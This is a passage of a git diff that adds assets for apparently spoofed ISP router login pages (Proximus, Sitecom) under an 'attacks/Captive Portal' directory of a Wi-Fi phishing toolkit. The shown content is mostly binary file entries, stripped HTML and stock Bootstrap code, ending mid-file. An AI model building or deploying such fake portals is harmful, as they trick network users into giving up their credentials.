Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.woff b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.woff new file mode 100644 index 0000000..8c54182 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.woff differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regulard41d.eot b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regulard41d.eot new file mode 100644 index 0000000..4a4ca86 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regulard41d.eot differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon.png new file mode 100644 index 0000000..e435c00 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon_disable.png new file mode 100644 index 0000000..925f89f Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon.png new file mode 100644 index 0000000..33aaac5 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon_disable.png new file mode 100644 index 0000000..af525b1 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon.png new file mode 100644 index 0000000..ceb02d7 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon_disable.png new file mode 100644 index 0000000..a21f282 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon.png new file mode 100644 index 0000000..07ac1a4 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon_disable.png new file mode 100644 index 0000000..8688ac4 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon.png new file mode 100644 index 0000000..0f079b0 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon_disable.png new file mode 100644 index 0000000..05c2fe5 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon.png new file mode 100644 index 0000000..c3b128f Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon_disable.png new file mode 100644 index 0000000..510fd63 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon.png new file mode 100644 index 0000000..6b3efc9 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon_disable.png new file mode 100644 index 0000000..0f32dd9 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon.png new file mode 100644 index 0000000..7355882 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon_disable.png new file mode 100644 index 0000000..8a92b07 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon.png new file mode 100644 index 0000000..d1d7000 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon_disable.png new file mode 100644 index 0000000..7fa9c04 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/USB_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/USB_icon.png new file mode 100644 index 0000000..7e195f8 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/USB_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon.png new file mode 100644 index 0000000..dbca532 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon_disable.png new file mode 100644 index 0000000..d462b0c Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control.png new file mode 100644 index 0000000..2fa9301 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control_purple.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control_purple.png new file mode 100644 index 0000000..13f2576 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control_purple.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1.png new file mode 100644 index 0000000..f7a1593 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1_hover.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1_hover.png new file mode 100644 index 0000000..f2f7e8e Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1_hover.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right-hover.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right-hover.png new file mode 100644 index 0000000..6706c87 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right-hover.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right.png new file mode 100644 index 0000000..3486897 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1.png new file mode 100644 index 0000000..22287e9 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1_hover.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1_hover.png new file mode 100644 index 0000000..cea8272 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1_hover.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/close.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/close.png new file mode 100644 index 0000000..0d3312b Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/close.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/down-arw.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/down-arw.png new file mode 100644 index 0000000..fa7d077 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/down-arw.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/ethernet.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/ethernet.png new file mode 100644 index 0000000..087a2f2 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/ethernet.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/header_bg.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/header_bg.png new file mode 100644 index 0000000..2bbb514 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/header_bg.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/help_disabled.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/help_disabled.png new file mode 100644 index 0000000..5a44a0b Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/help_disabled.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/intercept_title.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/intercept_title.png new file mode 100644 index 0000000..7bc7fab Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/intercept_title.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help.png new file mode 100644 index 0000000..b6bc27b Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help_hover.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help_hover.png new file mode 100644 index 0000000..84495ce Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help_hover.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_title.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_title.png new file mode 100644 index 0000000..810735c Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/login_title.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/logo.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/logo.png new file mode 100644 index 0000000..30052e4 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/logo.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/logout.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/logout.png new file mode 100644 index 0000000..487e221 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/logout.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon.png new file mode 100644 index 0000000..67cb88e Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon_disable.png new file mode 100644 index 0000000..46f8a60 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/modal_close.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/modal_close.png new file mode 100644 index 0000000..80006be Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/modal_close.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem.png new file mode 100644 index 0000000..1571206 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem_purple.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem_purple.png new file mode 100644 index 0000000..19d97a8 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem_purple.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity.png new file mode 100644 index 0000000..7d1e4e2 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_black.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_black.png new file mode 100644 index 0000000..97f2759 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_black.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_purple.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_purple.png new file mode 100644 index 0000000..410bb9e Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_purple.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon.png new file mode 100644 index 0000000..f7edc2a Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon_disable.png new file mode 100644 index 0000000..5eb318c Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/popup_tab_border.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/popup_tab_border.png new file mode 100644 index 0000000..0aeb90b Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/popup_tab_border.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile.png new file mode 100644 index 0000000..99925f3 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_hover.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_hover.png new file mode 100644 index 0000000..ef42d79 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_hover.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_loggedout.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_loggedout.png new file mode 100644 index 0000000..44a4417 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_loggedout.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_settings.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_settings.png new file mode 100644 index 0000000..da9f1e7 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_settings.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/select_arrow.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/select_arrow.png new file mode 100644 index 0000000..85d8a1a Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/select_arrow.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings.png new file mode 100644 index 0000000..d15164f Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_black.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_black.png new file mode 100644 index 0000000..aa11378 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_black.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_purple.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_purple.png new file mode 100644 index 0000000..62c9142 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_purple.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_white.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_white.png new file mode 100644 index 0000000..28c968d Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_white.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon.png new file mode 100644 index 0000000..b8d5f32 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon_disable.html b/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon_disable.html new file mode 100644 index 0000000..2464913 --- /dev/null +++ b/attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon_disable.html @@ -0,0 +1,4 @@ +Document Error: Not Found +

      Access Error: 404 -- Not Found

      + + diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/up-arw.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/up-arw.png new file mode 100644 index 0000000..1fff05c Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/up-arw.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/user_data.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/user_data.png new file mode 100644 index 0000000..b8a2838 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/user_data.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon.png new file mode 100644 index 0000000..c8fa2eb Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon_disable.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon_disable.png new file mode 100644 index 0000000..c85122c Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon_disable.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_fivepzeo_ghz.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_fivepzeo_ghz.png new file mode 100644 index 0000000..18af333 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_fivepzeo_ghz.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_twopfour_ghz.png b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_twopfour_ghz.png new file mode 100644 index 0000000..ede4158 Binary files /dev/null and b/attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_twopfour_ghz.png differ diff --git a/attacks/Captive Portal/sites/Proximus_fr.portal/index.html b/attacks/Captive Portal/sites/Proximus_fr.portal/index.html new file mode 100644 index 0000000..aeabf25 --- /dev/null +++ b/attacks/Captive Portal/sites/Proximus_fr.portal/index.html @@ -0,0 +1,414 @@ + + + + + +Modem + + + + + + + + + + + + + + +
      + +
      +
  • accedi
  • © 2016 by Sitecom B.V. All rights reserved  -  Informativa sulla privacy
    \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png new file mode 100644 index 0000000..7099170 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav_hover.jpg b/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav_hover.jpg new file mode 100644 index 0000000..84382a3 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav_hover.jpg differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/body_background.jpg b/attacks/Captive Portal/sites/Sitecom_it.portal/img/body_background.jpg new file mode 100644 index 0000000..33b4135 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/body_background.jpg differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/content_background.jpg b/attacks/Captive Portal/sites/Sitecom_it.portal/img/content_background.jpg new file mode 100644 index 0000000..a417ad9 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/content_background.jpg differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico b/attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico new file mode 100644 index 0000000..ae706c5 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/header.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/header.png new file mode 100644 index 0000000..f53db6a Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/header.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png new file mode 100644 index 0000000..4025780 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft.gif b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft.gif new file mode 100644 index 0000000..df31419 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft.gif differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png new file mode 100644 index 0000000..7b81848 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif new file mode 100644 index 0000000..34b7209 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png new file mode 100644 index 0000000..7bcacf5 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/menu_bg.gif b/attacks/Captive Portal/sites/Sitecom_it.portal/img/menu_bg.gif new file mode 100644 index 0000000..156cb28 Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/menu_bg.gif differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/seperator.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/seperator.png new file mode 100644 index 0000000..41c44ec Binary files /dev/null and b/attacks/Captive Portal/sites/Sitecom_it.portal/img/seperator.png differ diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm b/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm new file mode 100644 index 0000000..2b97740 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/index.htm @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js new file mode 100644 index 0000000..7c472ea --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js @@ -0,0 +1 @@ +$("ul.dropdown-menu [data-toggle=dropdown]").on("click",function(b){b.preventDefault();b.stopPropagation();$("ul.dropdown-menu [data-toggle=dropdown]").parent().removeClass("open");$(this).parent().addClass("open");var d=$(this).parent().find("ul");var a=d.offset();if((a.left+d.width())+30>$(window).width()){var c=-d.width()}else{var c=$(this).parent().width()}d.css({left:c})}); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js new file mode 100644 index 0000000..af3273e --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery){throw new Error("Bootstrap's JavaScript requires jQuery")}+function(d){function c(){var f=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var g in e){if(void 0!==f.style[g]){return{end:e[g]}}}return !1}d.fn.emulateTransitionEnd=function(a){var h=!1,g=this;d(this).one(d.support.transition.end,function(){h=!0});var f=function(){h||d(g).trigger(d.support.transition.end)};return setTimeout(f,a),this},d(function(){d.support.transition=c()})}(jQuery),+function(f){var e='[data-dismiss="alert"]',h=function(a){f(a).on("click",e,this.close)};h.prototype.close=function(a){function l(){i.trigger("closed.bs.alert").remove()}var k=f(this),j=k.attr("data-target");j||(j=k.attr("href"),j=j&&j.replace(/.*(?=#[^\s]*$)/,""));var i=f(j);a&&a.preventDefault(),i.length||(i=k.hasClass("alert")?k:k.parent()),i.trigger(a=f.Event("close.bs.alert")),a.isDefaultPrevented()||(i.removeClass("in"),f.support.transition&&i.hasClass("fade")?i.one(f.support.transition.end,l).emulateTransitionEnd(150):l())};var g=f.fn.alert;f.fn.alert=function(a){return this.each(function(){var c=f(this),b=c.data("bs.alert");b||c.data("bs.alert",b=new h(this)),"string"==typeof a&&b[a].call(c)})},f.fn.alert.Constructor=h,f.fn.alert.noConflict=function(){return f.fn.alert=g,this},f(document).on("click.bs.alert.data-api",e,h.prototype.close)}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.isLoading=!1};d.DEFAULTS={loadingText:"loading..."},d.prototype.setState=function(a){var j="disabled",i=this.$element,h=i.is("input")?"val":"html",g=i.data();a+="Text",g.resetText||i.data("resetText",i[h]()),i[h](g[a]||this.options[a]),setTimeout(e.proxy(function(){"loadingText"==a?(this.isLoading=!0,i.addClass(j).attr(j,j)):this.isLoading&&(this.isLoading=!1,i.removeClass(j).removeAttr(j))},this),0)},d.prototype.toggle=function(){var h=!0,g=this.$element.closest('[data-toggle="buttons"]');if(g.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?h=!1:g.find(".active").removeClass("active")),h&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}h&&this.$element.toggleClass("active")};var f=e.fn.button;e.fn.button=function(a){return this.each(function(){var g=e(this),c=g.data("bs.button"),b="object"==typeof a&&a;c||g.data("bs.button",c=new d(this,b)),"toggle"==a?c.toggle():a&&c.setState(a)})},e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,this},e(document).on("click.bs.button.data-api","[data-toggle^=button]",function(a){var g=e(a.target);g.hasClass("btn")||(g=g.closest(".btn")),g.button("toggle"),a.preventDefault()})}(jQuery),+function(e){var d=function(a,g){this.$element=e(a),this.$indicators=this.$element.find(".carousel-indicators"),this.options=g,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};d.DEFAULTS={interval:5000,pause:"hover",wrap:!0},d.prototype.cycle=function(a){return 